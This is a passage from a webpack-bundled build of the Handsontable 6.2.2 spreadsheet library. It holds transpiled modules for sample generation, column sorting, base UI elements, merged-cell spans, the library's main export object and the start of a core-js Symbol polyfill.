obj; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class SamplesGenerator * @util */ var SamplesGenerator = /*#__PURE__*/ function () { _createClass(SamplesGenerator, null, [{ key: "SAMPLE_COUNT", /** * Number of samples to take of each value length. * * @type {Number} */ get: function get() { return 3; } }]); function SamplesGenerator(dataFactory) { _classCallCheck(this, SamplesGenerator); /** * Samples prepared for calculations. * * @type {Map} * @default {null} */ this.samples = null; /** * Function which give the data to collect samples. * * @type {Function} */ this.dataFactory = dataFactory; /** * Custom number of samples to take of each value length. * * @type {Number} * @default {null} */ this.customSampleCount = null; /** * `true` if duplicate samples collection should be allowed, `false` otherwise. * * @type {Boolean} * @default {false} */ this.allowDuplicates = false; } /** * Get the sample count for this instance. * * @returns {Number} */ _createClass(SamplesGenerator, [{ key: "getSampleCount", value: function getSampleCount() { if (this.customSampleCount) { return this.customSampleCount; } return SamplesGenerator.SAMPLE_COUNT; } /** * Set the sample count. * * @param {Number} sampleCount Number of samples to be collected. */ }, { key: "setSampleCount", value: function setSampleCount(sampleCount) { this.customSampleCount = sampleCount; } /** * Set if the generator should accept duplicate values. * * @param {Boolean} allowDuplicates `true` to allow duplicate values. */ }, { key: "setAllowDuplicates", value: function setAllowDuplicates(allowDuplicates) { this.allowDuplicates = allowDuplicates; } /** * Generate samples for row. You can control which area should be sampled by passing `rowRange` object and `colRange` object. * * @param {Object|Number} rowRange * @param {Object} colRange * @returns {Object} */ }, { key: "generateRowSamples", value: function generateRowSamples(rowRange, colRange) { return this.generateSamples('row', colRange, rowRange); } /** * Generate samples for column. You can control which area should be sampled by passing `colRange` object and `rowRange` object. * * @param {Object} colRange Column index. * @param {Object} rowRange Column index. * @returns {Object} */ }, { key: "generateColumnSamples", value: function generateColumnSamples(colRange, rowRange) { return this.generateSamples('col', rowRange, colRange); } /** * Generate collection of samples. * * @param {String} type Type to generate. Can be `col` or `row`. * @param {Object} range * @param {Object|Number} specifierRange * @returns {Map} */ }, { key: "generateSamples", value: function generateSamples(type, range, specifierRange) { var _this = this; var samples = new Map(); var _ref = typeof specifierRange === 'number' ? { from: specifierRange, to: specifierRange } : specifierRange, from = _ref.from, to = _ref.to; (0, _number.rangeEach)(from, to, function (index) { var sample = _this.generateSample(type, range, index); samples.set(index, sample); }); return samples; } /** * Generate sample for specified type (`row` or `col`). * * @param {String} type Samples type `row` or `col`. * @param {Object} range * @param {Number} specifierValue * @returns {Map} */ }, { key: "generateSample", value: function generateSample(type, range, specifierValue) { var _this2 = this; if (type !== 'row' && type !== 'col') { throw new Error('Unsupported sample type'); } var samples = new Map(); var computedKey = type === 'row' ? 'col' : 'row'; var sampledValues = []; (0, _number.rangeEach)(range.from, range.to, function (index) { var _ref2 = type === 'row' ? _this2.dataFactory(specifierValue, index) : _this2.dataFactory(index, specifierValue), value = _ref2.value, bundleCountSeed = _ref2.bundleCountSeed; var hasCustomBundleSeed = bundleCountSeed > 0; var length; if ((0, _object.isObject)(value)) { length = Object.keys(value).length; } else if (Array.isArray(value)) { length = value.length; } else { length = (0, _mixed.stringify)(value).length; } if (hasCustomBundleSeed) { length += bundleCountSeed; } if (!samples.has(length)) { samples.set(length, { needed: _this2.getSampleCount(), strings: [] }); } var sample = samples.get(length); if (sample.needed) { var duplicate = sampledValues.indexOf(value) > -1; if (!duplicate || _this2.allowDuplicates || hasCustomBundleSeed) { sample.strings.push(_defineProperty({ value: value }, computedKey, index)); sampledValues.push(value); sample.needed -= 1; } } }); return samples; } }]); return SamplesGenerator; }(); var _default = SamplesGenerator; exports.default = _default; /***/ }), /* 432 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.areValidSortStates = areValidSortStates; exports.getNextSortOrder = getNextSortOrder; exports.getHeaderSpanElement = getHeaderSpanElement; exports.isFirstLevelColumnHeader = isFirstLevelColumnHeader; exports.wasHeaderClickedProperly = wasHeaderClickedProperly; exports.HEADER_SPAN_CLASS = exports.DESC_SORT_STATE = exports.ASC_SORT_STATE = void 0; var _mixed = __webpack_require__(14); var _object = __webpack_require__(2); var _event = __webpack_require__(18); var ASC_SORT_STATE = 'asc'; exports.ASC_SORT_STATE = ASC_SORT_STATE; var DESC_SORT_STATE = 'desc'; exports.DESC_SORT_STATE = DESC_SORT_STATE; var HEADER_SPAN_CLASS = 'colHeader'; /** * Get if column state is valid. * * @param {Number} columnState Particular column state. * @returns {Boolean} */ exports.HEADER_SPAN_CLASS = HEADER_SPAN_CLASS; function isValidColumnState(columnState) { if ((0, _mixed.isUndefined)(columnState)) { return false; } var column = columnState.column, sortOrder = columnState.sortOrder; return Number.isInteger(column) && [ASC_SORT_STATE, DESC_SORT_STATE].includes(sortOrder); } /** * Get if all sorted columns states are valid. * * @param {Array} sortStates * @returns {Boolean} */ function areValidSortStates(sortStates) { if (Array.isArray(sortStates) === false || sortStates.every(function (columnState) { return (0, _object.isObject)(columnState); }) === false) { return false; } var sortedColumns = sortStates.map(function (_ref) { var column = _ref.column; return column; }); var indexOccursOnlyOnce = new Set(sortedColumns).size === sortedColumns.length; return indexOccursOnlyOnce && sortStates.every(isValidColumnState); } /** * Get next sort order for particular column. The order sequence looks as follows: 'asc' -> 'desc' -> undefined -> 'asc' * * @param {String|undefined} sortOrder sort order (`asc` for ascending, `desc` for descending and undefined for not sorted). * @returns {String|undefined} Next sort order (`asc` for ascending, `desc` for descending and undefined for not sorted). */ function getNextSortOrder(sortOrder) { if (sortOrder === DESC_SORT_STATE) { return; } else if (sortOrder === ASC_SORT_STATE) { return DESC_SORT_STATE; } return ASC_SORT_STATE; } /** * Get `span` DOM element inside `th` DOM element. * * @param {Element} TH th HTML element. * @returns {Element | null} */ function getHeaderSpanElement(TH) { var headerSpanElement = TH.querySelector(".".concat(HEADER_SPAN_CLASS)); return headerSpanElement; } /** * * Get if handled header is first level column header. * * @param {Number} column Visual column index. * @param {Element} TH th HTML element. * @returns {Boolean} */ function isFirstLevelColumnHeader(column, TH) { if (column < 0 || !TH.parentNode) { return false; } var TRs = TH.parentNode.parentNode.childNodes; var headerLevel = Array.from(TRs).indexOf(TH.parentNode) - TRs.length; if (headerLevel !== -1) { return false; } return true; } /** * Get if header was clicked properly. Click on column header and NOT done by right click return `true`. * * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {Event} clickEvent Click event. * @returns {Boolean} */ function wasHeaderClickedProperly(row, column, clickEvent) { return row === -1 && column >= 0 && (0, _event.isRightClick)(clickEvent) === false; } /***/ }), /* 433 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.getCompareFunctionFactory = getCompareFunctionFactory; exports.getRootComparator = exports.registerRootComparator = void 0; var _default = __webpack_require__(676); var _numeric = __webpack_require__(677); var _date = __webpack_require__(678); var _staticRegister3 = _interopRequireDefault(__webpack_require__(46)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var _staticRegister = (0, _staticRegister3.default)('sorting.compareFunctionFactory'), registerCompareFunctionFactory = _staticRegister.register, getGloballyCompareFunctionFactory = _staticRegister.getItem, hasGloballyCompareFunctionFactory = _staticRegister.hasItem; var _staticRegister2 = (0, _staticRegister3.default)('sorting.mainSortComparator'), registerRootComparator = _staticRegister2.register, getRootComparator = _staticRegister2.getItem; /** * Gets sort function for the particular column basing on it's data type. * * @param {String} dataType Data type for the particular column. * @returns {Function} */ exports.getRootComparator = getRootComparator; exports.registerRootComparator = registerRootComparator; function getCompareFunctionFactory(type) { if (hasGloballyCompareFunctionFactory(type)) { return getGloballyCompareFunctionFactory(type); } return getGloballyCompareFunctionFactory(_default.COLUMN_DATA_TYPE); } registerCompareFunctionFactory(_numeric.COLUMN_DATA_TYPE, _numeric.compareFunctionFactory); registerCompareFunctionFactory(_date.COLUMN_DATA_TYPE, _date.compareFunctionFactory); registerCompareFunctionFactory(_default.COLUMN_DATA_TYPE, _default.compareFunctionFactory); /***/ }), /* 434 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _number = __webpack_require__(9); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var STATE_INITIALIZED = 0; var STATE_BUILT = 1; var STATE_APPENDED = 2; var UNIT = 'px'; /** * @class * @private */ var BaseUI = /*#__PURE__*/ function () { function BaseUI(hotInstance) { _classCallCheck(this, BaseUI); /** * Instance of Handsontable. * * @type {Core} */ this.hot = hotInstance; /** * DOM element representing the ui element. * * @type {HTMLElement} * @private */ this._element = null; /** * Flag which determines build state of element. * * @type {Boolean} */ this.state = STATE_INITIALIZED; } /** * Add created UI elements to table. * * @param {HTMLElement} wrapper Element which are parent for our UI element. */ _createClass(BaseUI, [{ key: "appendTo", value: function appendTo(wrapper) { wrapper.appendChild(this._element); this.state = STATE_APPENDED; } /** * Method for create UI element. Only create, without append to table. */ }, { key: "build", value: function build() { this._element = document.createElement('div'); this.state = STATE_BUILT; } /** * Method for remove UI element. */ }, { key: "destroy", value: function destroy() { if (this.isAppended()) { this._element.parentElement.removeChild(this._element); } this._element = null; this.state = STATE_INITIALIZED; } /** * Check if UI element are appended. * * @returns {Boolean} */ }, { key: "isAppended", value: function isAppended() { return this.state === STATE_APPENDED; } /** * Check if UI element are built. * * @returns {Boolean} */ }, { key: "isBuilt", value: function isBuilt() { return this.state >= STATE_BUILT; } /** * Setter for position. * * @param {Number} top New top position of the element. * @param {Number} left New left position of the element. */ }, { key: "setPosition", value: function setPosition(top, left) { if ((0, _number.isNumeric)(top)) { this._element.style.top = top + UNIT; } if ((0, _number.isNumeric)(left)) { this._element.style.left = left + UNIT; } } /** * Getter for the element position. * * @returns {Object} Object contains left and top position of the element. */ }, { key: "getPosition", value: function getPosition() { return { top: this._element.style.top ? parseInt(this._element.style.top, 10) : 0, left: this._element.style.left ? parseInt(this._element.style.left, 10) : 0 }; } /** * Setter for the element size. * * @param {Number} width New width of the element. * @param {Number} height New height of the element. */ }, { key: "setSize", value: function setSize(width, height) { if ((0, _number.isNumeric)(width)) { this._element.style.width = width + UNIT; } if ((0, _number.isNumeric)(height)) { this._element.style.height = height + UNIT; } } /** * Getter for the element position. * * @returns {Object} Object contains height and width of the element. */ }, { key: "getSize", value: function getSize() { return { width: this._element.style.width ? parseInt(this._element.style.width, 10) : 0, height: this._element.style.height ? parseInt(this._element.style.height, 10) : 0 }; } /** * Setter for the element offset. Offset means marginTop and marginLeft of the element. * * @param {Number} top New margin top of the element. * @param {Number} left New margin left of the element. */ }, { key: "setOffset", value: function setOffset(top, left) { if ((0, _number.isNumeric)(top)) { this._element.style.marginTop = top + UNIT; } if ((0, _number.isNumeric)(left)) { this._element.style.marginLeft = left + UNIT; } } /** * Getter for the element offset. * * @returns {Object} Object contains top and left offset of the element. */ }, { key: "getOffset", value: function getOffset() { return { top: this._element.style.marginTop ? parseInt(this._element.style.marginTop, 10) : 0, left: this._element.style.marginLeft ? parseInt(this._element.style.marginLeft, 10) : 0 }; } }]); return BaseUI; }(); var _default = BaseUI; exports.default = _default; /***/ }), /* 435 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var STATE_INITIALIZED = 0; var STATE_BUILT = 1; var STATE_APPENDED = 2; var UNIT = 'px'; /** * @class * @private */ var BaseUI = /*#__PURE__*/ function () { function BaseUI(hotInstance) { _classCallCheck(this, BaseUI); /** * Instance of Handsontable. * * @type {Core} */ this.hot = hotInstance; /** * DOM element representing the ui element. * * @type {HTMLElement} * @private */ this._element = null; /** * Flag which determines build state of element. * * @type {Boolean} */ this.state = STATE_INITIALIZED; } /** * Add created UI elements to table. * * @param {HTMLElement} wrapper Element which are parent for our UI element. */ _createClass(BaseUI, [{ key: "appendTo", value: function appendTo(wrapper) { wrapper.appendChild(this._element); this.state = STATE_APPENDED; } /** * Method for create UI element. Only create, without append to table. */ }, { key: "build", value: function build() { this._element = document.createElement('div'); this.state = STATE_BUILT; } /** * Method for remove UI element. */ }, { key: "destroy", value: function destroy() { if (this.isAppended()) { this._element.parentElement.removeChild(this._element); } this._element = null; this.state = STATE_INITIALIZED; } /** * Check if UI element are appended. * * @returns {Boolean} */ }, { key: "isAppended", value: function isAppended() { return this.state === STATE_APPENDED; } /** * Check if UI element are built. * * @returns {Boolean} */ }, { key: "isBuilt", value: function isBuilt() { return this.state >= STATE_BUILT; } /** * Setter for position. * * @param {Number} top New top position of the element. * @param {Number} left New left position of the element. */ }, { key: "setPosition", value: function setPosition(top, left) { if (top !== void 0) { this._element.style.top = top + UNIT; } if (left !== void 0) { this._element.style.left = left + UNIT; } } /** * Getter for the element position. * * @returns {Object} Object contains left and top position of the element. */ }, { key: "getPosition", value: function getPosition() { return { top: this._element.style.top ? parseInt(this._element.style.top, 10) : 0, left: this._element.style.left ? parseInt(this._element.style.left, 10) : 0 }; } /** * Setter for the element size. * * @param {Number} width New width of the element. * @param {Number} height New height of the element. */ }, { key: "setSize", value: function setSize(width, height) { if (width) { this._element.style.width = width + UNIT; } if (height) { this._element.style.height = height + UNIT; } } /** * Getter for the element position. * * @returns {Object} Object contains height and width of the element. */ }, { key: "getSize", value: function getSize() { return { width: this._element.style.width ? parseInt(this._element.style.width, 10) : 0, height: this._element.style.height ? parseInt(this._element.style.height, 10) : 0 }; } /** * Setter for the element offset. Offset means marginTop and marginLeft of the element. * * @param {Number} top New margin top of the element. * @param {Number} left New margin left of the element. */ }, { key: "setOffset", value: function setOffset(top, left) { if (top) { this._element.style.marginTop = top + UNIT; } if (left) { this._element.style.marginLeft = left + UNIT; } } /** * Getter for the element offset. * * @returns {Object} Object contains top and left offset of the element. */ }, { key: "getOffset", value: function getOffset() { return { top: this._element.style.marginTop ? parseInt(this._element.style.marginTop, 10) : 0, left: this._element.style.marginLeft ? parseInt(this._element.style.marginLeft, 10) : 0 }; } }]); return BaseUI; }(); var _default = BaseUI; exports.default = _default; /***/ }), /* 436 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.applySpanProperties = applySpanProperties; /** * Apply the `colspan`/`rowspan` properties. * * @param {HTMLElement} TD The soon-to-be-modified cell. * @param {MergedCellCoords} merged cellInfo The merged cell in question. * @param {Number} row Row index. * @param {Number} col Column index. */ // eslint-disable-next-line import/prefer-default-export function applySpanProperties(TD, mergedCellInfo, row, col) { if (mergedCellInfo) { if (mergedCellInfo.row === row && mergedCellInfo.col === col) { TD.setAttribute('rowspan', mergedCellInfo.rowspan.toString()); TD.setAttribute('colspan', mergedCellInfo.colspan.toString()); } else { TD.removeAttribute('rowspan'); TD.removeAttribute('colspan'); TD.style.display = 'none'; } } else { TD.removeAttribute('rowspan'); TD.removeAttribute('colspan'); TD.style.display = ''; } } /***/ }), /* 437 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; __webpack_require__(129); __webpack_require__(602); __webpack_require__(603); __webpack_require__(604); var _editors = __webpack_require__(26); var _renderers = __webpack_require__(19); var _validators = __webpack_require__(49); var _cellTypes = __webpack_require__(119); var _core = _interopRequireDefault(__webpack_require__(120)); var _jquery = _interopRequireDefault(__webpack_require__(663)); var _eventManager = _interopRequireWildcard(__webpack_require__(10)); var _pluginHooks = _interopRequireDefault(__webpack_require__(22)); var _ghostTable = _interopRequireDefault(__webpack_require__(124)); var arrayHelpers = _interopRequireWildcard(__webpack_require__(3)); var browserHelpers = _interopRequireWildcard(__webpack_require__(42)); var dataHelpers = _interopRequireWildcard(__webpack_require__(122)); var dateHelpers = _interopRequireWildcard(__webpack_require__(421)); var featureHelpers = _interopRequireWildcard(__webpack_require__(47)); var functionHelpers = _interopRequireWildcard(__webpack_require__(59)); var mixedHelpers = _interopRequireWildcard(__webpack_require__(14)); var numberHelpers = _interopRequireWildcard(__webpack_require__(9)); var objectHelpers = _interopRequireWildcard(__webpack_require__(2)); var settingHelpers = _interopRequireWildcard(__webpack_require__(121)); var stringHelpers = _interopRequireWildcard(__webpack_require__(48)); var unicodeHelpers = _interopRequireWildcard(__webpack_require__(32)); var domHelpers = _interopRequireWildcard(__webpack_require__(1)); var domEventHelpers = _interopRequireWildcard(__webpack_require__(18)); var plugins = _interopRequireWildcard(__webpack_require__(664)); var _plugins = __webpack_require__(13); var _defaultSettings = _interopRequireDefault(__webpack_require__(426)); var _rootInstance = __webpack_require__(425); var _i18n = __webpack_require__(427); var constants = _interopRequireWildcard(__webpack_require__(11)); var _dictionariesManager = __webpack_require__(90); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function Handsontable(rootElement, userSettings) { var instance = new _core.default(rootElement, userSettings || {}, _rootInstance.rootInstanceSymbol); instance.init(); return instance; } (0, _jquery.default)(Handsontable); Handsontable.Core = _core.default; Handsontable.DefaultSettings = _defaultSettings.default; Handsontable.EventManager = _eventManager.default; Handsontable._getListenersCounter = _eventManager.getListenersCounter; // For MemoryLeak tests Handsontable.buildDate = "18/12/2018 14:40:17"; Handsontable.packageName = "handsontable"; Handsontable.version = "6.2.2"; var baseVersion = ""; if (baseVersion) { Handsontable.baseVersion = baseVersion; } // Export Hooks singleton Handsontable.hooks = _pluginHooks.default.getSingleton(); // TODO: Remove this exports after rewrite tests about this module Handsontable.__GhostTable = _ghostTable.default; // // Export all helpers to the Handsontable object var HELPERS = [arrayHelpers, browserHelpers, dataHelpers, dateHelpers, featureHelpers, functionHelpers, mixedHelpers, numberHelpers, objectHelpers, settingHelpers, stringHelpers, unicodeHelpers]; var DOM = [domHelpers, domEventHelpers]; Handsontable.helper = {}; Handsontable.dom = {}; // Fill general helpers. arrayHelpers.arrayEach(HELPERS, function (helper) { arrayHelpers.arrayEach(Object.getOwnPropertyNames(helper), function (key) { if (key.charAt(0) !== '_') { Handsontable.helper[key] = helper[key]; } }); }); // Fill DOM helpers. arrayHelpers.arrayEach(DOM, function (helper) { arrayHelpers.arrayEach(Object.getOwnPropertyNames(helper), function (key) { if (key.charAt(0) !== '_') { Handsontable.dom[key] = helper[key]; } }); }); // Export cell types. Handsontable.cellTypes = {}; arrayHelpers.arrayEach((0, _cellTypes.getRegisteredCellTypeNames)(), function (cellTypeName) { Handsontable.cellTypes[cellTypeName] = (0, _cellTypes.getCellType)(cellTypeName); }); Handsontable.cellTypes.registerCellType = _cellTypes.registerCellType; Handsontable.cellTypes.getCellType = _cellTypes.getCellType; // Export all registered editors from the Handsontable. Handsontable.editors = {}; arrayHelpers.arrayEach((0, _editors.getRegisteredEditorNames)(), function (editorName) { Handsontable.editors["".concat(stringHelpers.toUpperCaseFirst(editorName), "Editor")] = (0, _editors.getEditor)(editorName); }); Handsontable.editors.registerEditor = _editors.registerEditor; Handsontable.editors.getEditor = _editors.getEditor; // Export all registered renderers from the Handsontable. Handsontable.renderers = {}; arrayHelpers.arrayEach((0, _renderers.getRegisteredRendererNames)(), function (rendererName) { var renderer = (0, _renderers.getRenderer)(rendererName); if (rendererName === 'base') { Handsontable.renderers.cellDecorator = renderer; } Handsontable.renderers["".concat(stringHelpers.toUpperCaseFirst(rendererName), "Renderer")] = renderer; }); Handsontable.renderers.registerRenderer = _renderers.registerRenderer; Handsontable.renderers.getRenderer = _renderers.getRenderer; // Export all registered validators from the Handsontable. Handsontable.validators = {}; arrayHelpers.arrayEach((0, _validators.getRegisteredValidatorNames)(), function (validatorName) { Handsontable.validators["".concat(stringHelpers.toUpperCaseFirst(validatorName), "Validator")] = (0, _validators.getValidator)(validatorName); }); Handsontable.validators.registerValidator = _validators.registerValidator; Handsontable.validators.getValidator = _validators.getValidator; // Export all registered plugins from the Handsontable. Handsontable.plugins = {}; arrayHelpers.arrayEach(Object.getOwnPropertyNames(plugins), function (pluginName) { var plugin = plugins[pluginName]; if (pluginName === 'Base') { Handsontable.plugins["".concat(pluginName, "Plugin")] = plugin; } else { Handsontable.plugins[pluginName] = plugin; } }); Handsontable.plugins.registerPlugin = _plugins.registerPlugin; Handsontable.languages = {}; Handsontable.languages.dictionaryKeys = constants; Handsontable.languages.getLanguageDictionary = _dictionariesManager.getLanguageDictionary; Handsontable.languages.getLanguagesDictionaries = _dictionariesManager.getLanguagesDictionaries; Handsontable.languages.registerLanguageDictionary = _dictionariesManager.registerLanguageDictionary; // Alias to `getTranslatedPhrase` function, for more information check it API. Handsontable.languages.getTranslatedPhrase = function () { return _i18n.getTranslatedPhrase.apply(void 0, arguments); }; var _default = Handsontable; exports.default = _default; /***/ }), /* 438 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(439); __webpack_require__(441); __webpack_require__(442); __webpack_require__(443); __webpack_require__(444); __webpack_require__(445); __webpack_require__(446); __webpack_require__(447); __webpack_require__(448); __webpack_require__(449); __webpack_require__(450); __webpack_require__(451); __webpack_require__(452); __webpack_require__(453); __webpack_require__(454); __webpack_require__(455); __webpack_require__(456); __webpack_require__(457); __webpack_require__(458); __webpack_require__(459); __webpack_require__(460); __webpack_require__(461); __webpack_require__(462); __webpack_require__(463); __webpack_require__(464); __webpack_require__(465); __webpack_require__(466); __webpack_require__(467); __webpack_require__(468); __webpack_require__(469); __webpack_require__(470); __webpack_require__(471); __webpack_require__(472); __webpack_require__(473); __webpack_require__(474); __webpack_require__(475); __webpack_require__(476); __webpack_require__(477); __webpack_require__(478); __webpack_require__(479); __webpack_require__(480); __webpack_require__(481); __webpack_require__(482); __webpack_require__(484); __webpack_require__(485); __webpack_require__(486); __webpack_require__(487); __webpack_require__(488); __webpack_require__(489); __webpack_require__(490); __webpack_require__(491); __webpack_require__(492); __webpack_require__(493); __webpack_require__(494); __webpack_require__(495); __webpack_require__(496); __webpack_require__(497); __webpack_require__(498); __webpack_require__(499); __webpack_require__(500); __webpack_require__(501); __webpack_require__(502); __webpack_require__(503); __webpack_require__(504); __webpack_require__(505); __webpack_require__(506); __webpack_require__(507); __webpack_require__(508); __webpack_require__(509); __webpack_require__(510); __webpack_require__(511); __webpack_require__(512); __webpack_require__(513); __webpack_require__(514); __webpack_require__(515); __webpack_require__(516); __webpack_require__(517); __webpack_require__(519); __webpack_require__(520); __webpack_require__(522); __webpack_require__(523); __webpack_require__(524); __webpack_require__(525); __webpack_require__(526); __webpack_require__(527); __webpack_require__(528); __webpack_require__(531); __webpack_require__(532); __webpack_require__(533); __webpack_require__(534); __webpack_require__(535); __webpack_require__(536); __webpack_require__(537); __webpack_require__(538); __webpack_require__(539); __webpack_require__(540); __webpack_require__(541); __webpack_require__(542); __webpack_require__(543); __webpack_require__(114); __webpack_require__(544); __webpack_require__(149); __webpack_require__(545); __webpack_require__(150); __webpack_require__(546); __webpack_require__(547); __webpack_require__(548); __webpack_require__(549); __webpack_require__(151); __webpack_require__(552); __webpack_require__(553); __webpack_require__(554); __webpack_require__(555); __webpack_require__(556); __webpack_require__(557); __webpack_require__(558); __webpack_require__(559); __webpack_require__(560); __webpack_require__(561); __webpack_require__(562); __webpack_require__(563); __webpack_require__(564); __webpack_require__(565); __webpack_require__(566); __webpack_require__(567); __webpack_require__(568); __webpack_require__(569); __webpack_require__(570); __webpack_require__(571); __webpack_require__(572); __webpack_require__(573); __webpack_require__(574); __webpack_require__(575); __webpack_require__(576); __webpack_require__(577); __webpack_require__(578); __webpack_require__(579); __webpack_require__(580); module.exports = __webpack_require__(21); /***/ }), /* 439 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // ECMAScript 6 symbols shim var global = __webpack_require__(6); var has = __webpack_require__(27); var DESCRIPTORS = __webpack_require__(20); var $export = __webpack_require__(0); var redefine = __webpack_require__(23); var META = __webpack_require__(45).KEY; var $fails = __webpack_require__(4); var shared = __webpack_require__(93); var setToStringTag = __webpack_require__(60); var uid = __webpack_require__(51); var wks = __webpack_require__(12); var wksExt = __webpack_require__(94); var wksDefine = __webpack_require__(131); var enumKeys = __webpack_require__(440); var isArray = __webpack_require__(97); var anObject = __webpack_require__(5); var isObject = __webpack_require__(7); var toIObject = __webpack_require__(29); var toPrimitive = __webpack_require__(44); var createDesc = __webpack_require__(50); var _create = __webpack_require__(55); var gOPNExt = __webpack_require__(134); var $GOPD = __webpack_require__(34); var $DP = __webpack_require__(17); var $keys = __webpack_require__(53); var gOPD = $GOPD.f; var dP = $DP.f; var gOPN = gOPNExt.f; var $Symbol = global.Symbol; var $JSON = global.JSON; var _stringify = $JSON && $JSON.stringify; var PROTOTYPE = 'prototype'; var HIDDEN = wks('_hidden'); var TO_PRIMITIVE = wks('toPrimitive'); var isEnum = {}.propertyIsEnumerable; var SymbolRegistry = shared('symbol-registry'); var AllSymbols = shared('symbols'); var OPSymbols = shared('op-symbols'); var ObjectProto = Object[PROTOTYPE]; var USE_NATIVE = typeof $Symbol == 'function'; var QObject = global.QObject; // Don't use setters in Qt Script, https://github.com/zloirock/core-js/issues/173 var setter = !QObject || !QObject[PROTOTYPE] || !QObject[PROTOTYPE].findChild; // fallback for old Android, https://code.google.com/p/v8/issues/detail?id=687 var setSymbolDesc = DESCRIPTORS && $fails(function () { return _create(dP({}, 'a', { get: function () { return dP(this, 'a', { value: 7 }).a; } })).a != 7; }) ? function (it, key, D) { var protoDesc = gOPD(ObjectProto, key); if (protoDesc) delete ObjectProto[key]; dP(it, key, D); if (protoDesc && it !== ObjectProto) dP(ObjectProto, key, protoDesc); } : dP; var wrap = function (tag) { var sym = AllSymbols[tag] = _create($Symbol[PROTOTYPE]); sym._k = tag; return sym; }; var isSymbol = USE_NATIVE && typeof $Symbol.iterator == 'symbol' ? function (it) { return typeof it == 'symbol'; } : function (it) { return it instanceof $Symbol; }; var $defineProperty = function defineProperty(it, key, D) { if (it === ObjectProto) $defineProperty(OPSymbols, key, D); anObject(it); key = toPrimitive(key, true); anObject(D); if (has(AllSymbols, key)) { if (!D.enumerable) { if (!has(it, HIDDEN)) dP(it, HIDDEN, createDesc(1, {})); it[HIDDEN][key] = true; } else { if (has(it, HIDDEN) && it[HIDDEN][key]) it[HIDDEN][key] = false; D = _create(D, { enumerable: createDesc(0, false) }); } return setSymbolDesc(it, key, D); } return dP(it, key, D); }; var $defineProperties = function defineProperties(it, P) { anObject(it); var keys = enumKeys(P = toIObject(P)); var i = 0; var l = keys.length; var key; while (l > i) $defineProperty(it, key = keys[i++], P[key]); return it; }; var $create = function create(it, P) { return P === undefined ? _create(it) : $defineProperties(_create(it), P); }; var $propertyIsEnumerable = function propertyIsEnumerable(key) { var E = isEnum.call(this, key = toPrimitive(key, true)); if (this === ObjectProto && has(AllSymbols, key) && !has(OPSymbols, key)) return false; return E || !has(this, key) || !has(AllSymbols, key) || has(this, HIDDEN) && this[HIDDEN][key] ? E : true; }; var $getOwnPropertyDescriptor = function getOwnPropertyDescriptor(it, key) { it = toIObject(it); key = toPrimitive(key, true); if (it === ObjectProto && has(AllSymbols, key) && !has(OPSymbols, key)) return; var D = gOPD(it, key); if (D && has(AllSymbols, key) && !(has(it, HIDDEN) && it[HIDDEN][key])) D.enumerable = true; return D; }; var $getOwnPropertyNames = function getOwnPropertyNames(it) { var names = gOPN(toIObject(it)); var result = []; var i = 0; var key; while (names.length > i) { if (!has(AllSymbols, key = names[i++]) && key != HIDDEN && key != META) result.push(key); } return result; }; var $getOwnPropertySymbols = function getOwnPropertySymbols(it) { var IS_OP = it === ObjectProto; var names = gOPN(IS_OP ? OPSymbols : toIObject(it)); var result = []; var i = 0; var key; while (names.length > i) { if (has(AllSymbols, key = names[i++]) && (IS_OP ? has(ObjectProto, key) : true)) result.push(AllSymbols[key]); } return result; }; // 19.4.1.1 Symbol([description]) if (!USE_NATIVE) { $Symbol = function Symbol() { if (this instanceof $Symbol) throw TypeError('Symbol is not a constructor!'); var tag = uid(arguments.length > 0 ? arguments[0] : undefined); var $set = function (value) { if (this === ObjectProto) $set.call(OPSymbols, value); if (has(this, HIDDEN) && has(this[HIDDEN], tag)) this[HIDDEN][tag] = false; setSymbolDesc(this, tag, createDesc(1, value)); }; if (DESCRIPTORS && setter) setSymbolDesc(ObjectProto, tag, { configurable: true, set: $set 